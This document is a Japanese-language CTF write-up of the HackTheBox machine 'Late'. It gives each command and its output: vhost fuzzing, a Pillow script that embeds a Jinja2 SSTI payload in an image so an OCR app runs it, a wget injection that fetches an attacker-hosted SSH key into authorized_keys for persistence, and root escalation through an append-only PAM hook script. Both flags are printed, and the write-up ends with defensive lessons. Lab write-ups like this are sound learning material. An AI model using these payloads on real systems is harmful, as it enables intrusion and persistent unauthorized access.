HackTheBox: Late — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)
→
22(SSH)/80(nginx)
vhostファジング
images.late.htb発見
→
images.late.htb発見
画像内テキストをJinja2評価
Flask製OCRアプリのバグ
→
Flask製OCRアプリのバグ
8000px幅の画像にSSTIペイロード埋込
OCRにコマンド実行させる
→
OCRにコマンド実行させる
svc_acc権限でRCE
user.txt ✓
→
user.txt ✓
wgetでSSH公開鍵を永続化
安定したシェルを確保
→
安定したシェルを確保
append-onlyなssh-alert.shへ追記
PAM経由でrootとして実行
→
PAM経由でrootとして実行
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 22,80 10.129.227.134
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-title: Late - Best online image tools
ℹ️
トップページは「Late – Best online image tools」という画像編集サービスのランディングページ
(Bootstrap/MDBテンプレート)。ポート22のSSHバナーからUbuntu 18.04系と推測できる。
PHASE 2
画像OCR専用サブドメインの発見
vhostファジングでサブドメインを探索
BASH
echo "10.129.227.134 late.htb" >> /etc/hosts ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -u http://late.htb/ -H 'Host: FUZZ.late.htb' -fs <baselineサイズ>
RESULT
images [Status: 200, Size: ...]
✅
images.late.htb というサブドメインを発見。/etc/hostsに追加してアクセスすると、
「Image Reader」というタイトルの別アプリが動いている。
BASH
echo "10.129.227.134 images.late.htb" >> /etc/hosts curl -s --resolve images.late.htb:80:10.129.227.134 http://images.late.htb/
RESULT(抜粋)
<title>Image Reader</title> (画像をアップロードするとOCR(文字認識)で読み取った内容を表示するツール)
PHASE 3
Jinja2 SSTI(OCR結果のテンプレート評価)& user.txt
脆弱性の仕組み
NOTE
このFlaskアプリは「画像をアップロード → Tesseract OCRで文字起こし → 結果をHTMLに 埋め込んで表示」という処理を行う。実装側のバグとして、OCRで読み取った文字列を サニタイズせずそのままJinja2テンプレートとしてレンダリングしている (例: render_template_string(ocr_result) のような実装)。 つまり画像内に埋め込んだテキストがOCRに正しく認識されさえすれば、 それはJinja2のServer-Side Template Injection(SSTI)として評価される。
SSTIペイロードを含む画像の生成
PYTHON (Pillowで画像生成)
from PIL import Image, ImageDraw, ImageFont
font_path = "/usr/share/fonts/truetype/liberation/LiberationMono-Regular.ttf"
payload = '{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen("id").read() }}'
# 幅8000px・フォントサイズ18ptが必須。幅が足りないと長いペイロードが
# 画像からはみ出しOCRが読み取れず、短いコマンドでも誤認識が起きやすくなる。
img = Image.new("RGB", (8000, 120), color="white")
draw = ImageDraw.Draw(img)
font = ImageFont.truetype(font_path, 18)
draw.text((0, 10), payload, fill=(0, 0, 0), font=font)
img.save("payload_id.png")
⚠️
実機でのハマりポイント: 画像幅が3000px程度だと短いコマンド(127文字以下)は
通ることがあるが、長いコマンド(後述のwget注入ペイロード等)は確実に文字がはみ出して
OCRが読み違える。幅8000px・フォント18ptの組み合わせがどのペイロード長でも
安定して認識される。
OCRエンドポイントへアップロードしRCEを確認
BASH
curl -s -X POST -F "file=@payload_id.png" \ --resolve images.late.htb:80:10.129.227.134 \ http://images.late.htb/scanner
RESULT
<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)</p>
✅
SSTI経由のRCE成功! アップロードしたPNG画像のテキストがOCRで読み取られ、
そのままJinja2テンプレートとして評価・実行された。
svc_accユーザー権限での
コマンド実行が確認できた。
user.txt取得
PYTHON (ペイロード差し替え)
payload = '{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen("cat /home/svc_acc/user.txt").read() }}'
RESULT
<p>eebccde6394133b3df1e0b818ed0bf37</p>
user.txt — svc_acc
eebccde6394133b3df1e0b818ed0bf37
PHASE 4
安定したSSHアクセスの確立(wget方式の鍵注入)
攻撃用SSH鍵ペアの生成とKali側HTTPサーバー起動
BASH
ssh-keygen -t ed25519 -f late_key -N "" -q # 生成した公開鍵をターゲットから取得できるようKali側でHTTP配信 python3 -m http.server 8862 --bind 0.0.0.0 --directory .
ℹ️
なぜechoで直接authorized_keysに書き込まないのか:
SSH公開鍵は長いbase64文字列のため、画像に直接埋め込んでOCRさせる方式は誤認識リスクが
非常に高い(1文字でも誤読されると鍵として無効になる)。代わりに
wgetでKali側から鍵ファイルを直接取得させる方式にすると、
OCRが読み取る必要があるのは短いURLを含むコマンド文字列だけで済み、
鍵データ自体の文字起こし誤りを完全に回避できる。
SSTI経由でwgetを実行しauthorized_keysへ追記
PYTHON (注入コマンド)
cmd = (
"wget -q http://<KALI_IP>:8862/late_key.pub -O /tmp/lk && "
"mkdir -p /home/svc_acc/.ssh && "
"cat /tmp/lk >> /home/svc_acc/.ssh/authorized_keys && "
"chmod 700 /home/svc_acc/.ssh && "
"chmod 600 /home/svc_acc/.ssh/authorized_keys && "
"rm -f /tmp/lk"
)
# 上と同じ要領で8000px画像にこのコマンドのSSTIペイロードを埋め込みアップロード
RESULT (Kali側HTTPサーバーのログ)
10.129.227.134 - - [...] "GET /late_key.pub HTTP/1.1" 200 -
✅
ターゲット側から鍵ファイルへのGETリクエストが届いた=
wgetコマンドが
正常に実行された証拠。
SSH接続の確認
BASH
ssh -i late_key svc_acc@10.129.227.134 "id"
RESULT
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
PHASE 5
append-onlyなroot実行スクリプトの悪用 & root.txt
ssh-alert.sh の発見と属性確認
BASH
ls -la /usr/local/sbin/ssh-alert.sh lsattr /usr/local/sbin/ssh-alert.sh cat /usr/local/sbin/ssh-alert.sh
RESULT
-rwxr-xr-x 1 svc_acc svc_acc 433 ... /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
...
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
🚨
致命的な設定ミスの組み合わせ:
- このスクリプトはsvc_acc所有(svc_accに書き込み権限あり)
lsattrのa属性=追記専用(append-only)。 上書き・削除はchattr -a権限(root)が無いとできないが、 末尾への追記はsvc_accでも可能- PAMの
pam_exec設定により、SSHログインのたびにroot権限で 自動実行される(open_sessionフック)
root.txtコピーコマンドを追記
BASH
ssh -i late_key svc_acc@10.129.227.134 \ 'echo "cp /root/root.txt /tmp/.late_flag && chmod 644 /tmp/.late_flag" >> /usr/local/sbin/ssh-alert.sh'
RESULT (追記後のtail確認)
...
cp /root/root.txt /tmp/.late_flag && chmod 644 /tmp/.late_flag
再SSHログインでトリガー & root.txt取得
BASH
# 新しいSSHセッションを開く = PAM open_session が発火 = ssh-alert.sh がrootとして実行される ssh -i late_key svc_acc@10.129.227.134 "id" # 少し待ってからコピーされたフラグを読む ssh -i late_key svc_acc@10.129.227.134 "cat /tmp/.late_flag"
RESULT
c94f28939553210fa68a6a40cb18dd57
✅
追記した行がroot権限で実行され、
/root/root.txtがsvc_accでも
読み取れる場所へコピーされた。SSHログインという通常操作そのものが
権限昇格のトリガーになっている点が本マシンの核心。
root.txt — ssh-alert.sh append-only悪用
c94f28939553210fa68a6a40cb18dd57
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — svc_acc
eebccde6394133b3df1e0b818ed0bf37
root.txt — root
c94f28939553210fa68a6a40cb18dd57
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Jinja2 SSTI (OCR結果の未サニタイズ評価) | images.late.htb の Flask OCRアプリ | リモートコード実行(svc_acc権限) | Critical | アップロード画像内のテキストをOCRで読み取った後、そのままJinja2テンプレートとしてレンダリング |
| append-onlyスクリプトの悪用可能な所有権 | /usr/local/sbin/ssh-alert.sh (PAM open_session) | 権限昇格(一般ユーザー → root) | Critical | svc_acc所有+append専用属性のためスクリプト末尾へroot実行コマンドを追記可能。SSHログインのたびにroot権限で発火 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22(SSH)/80(nginx, Late画像編集サイト) |
| 2 | サブドメイン発見 | vhostファジング | images.late.htb(画像OCRツール) |
| 3 | RCE | 8000px/18pt画像にSSTIペイロードを埋込みOCRアップロード | user.txt(svc_acc, Jinja2 SSTI) |
| 4 | 永続化 | SSTI経由wgetでSSH公開鍵をauthorized_keysへ追記 | 安定したSSHシェル(svc_acc) |
| 5 | 権限昇格 | append-onlyなssh-alert.shへroot実行コマンドを追記しSSH再ログインで発火 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| OCR結果を未サニタイズのままJinja2テンプレートとしてレンダリングしている | ユーザー由来のあらゆる文字列(OCR結果含む)はrender_template_string系の関数に渡さず、固定テンプレート+変数差し込み(自動エスケープ有効)の形で表示する。Jinja2のサンドボックス化(SandboxedEnvironment)も検討する。 |
| root権限で自動実行されるスクリプトが一般ユーザー所有になっている | root権限で実行されるPAMフックスクリプト等は必ずroot所有・root書き込み専用にし、一般ユーザーの書き込み権限を一切与えない。 |
append-only属性(chattr +a)だけでは「改ざん不可」を保証できない |
append-onlyは既存内容の保護にはなるが、追記による新規コード注入までは防げない点を理解する。root実行スクリプトへの書き込み権限自体を完全に排除するのが唯一の確実な対策。 |

